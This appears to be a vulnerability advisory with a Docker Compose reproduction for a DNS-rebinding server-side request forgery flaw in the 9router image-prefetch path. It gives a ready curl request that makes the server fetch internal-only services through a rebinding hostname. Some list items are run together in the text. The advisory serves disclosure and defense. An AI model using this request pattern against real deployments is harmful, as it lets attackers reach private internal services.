9router validates image URLs by resolving the host before fetching, but the later server-side fetch performs a separate DNS resolution. An attacker-controlled DNS name can resolve to a public IP during validation and then rebind to an internal Docker/private IP during the fetch. This allows the server-side image prefetch to reach internal-only HTTP services (SSRF).
v0.4.80 @ b282f05./v1/chat/completions with a vision-capable model and an
image_url content part. A vision-capable model name is required so the image survives
modality stripping and the server-side prefetch is armed.rebind.9r.test:
1.1.1.1 (public) to pass the public-host guard,172.29.0.10 (internal-admin) during the fetch.GET /ssrf-marker with peer=172.29.0.30 (the proxied-router
container), proving the server-side fetch landed on the internal service.POST /api/chat and the flow completes with HTTP 200.This repository is a self-contained Docker Compose reproduction. No real provider is called and no real API key is required.
docker compose up --build
internal-admin is unreachable from the host:
curl -i http://127.0.0.1:18083/ssrf-marker # connection refused / fail
docker compose ps # internal-admin has NO host port mapping
POST image-prefetch DNS rebinding trigger from
requests.http, or with curl:
curl -i -X POST http://127.0.0.1:18082/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "ollama-local/gemma3",
"messages": [{"role":"user","content":[
{"type":"text","text":"reproduction image-prefetch trigger"},
{"type":"image_url","image_url":{"url":"http://rebind.9r.test:8080/ssrf-marker?case=rebind-trigger"}}
]}],
"stream": false
}'
{
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T18:12:28Z",
"nvd_published_at": "2026-07-10T16:16:34Z",
"severity": "HIGH"
}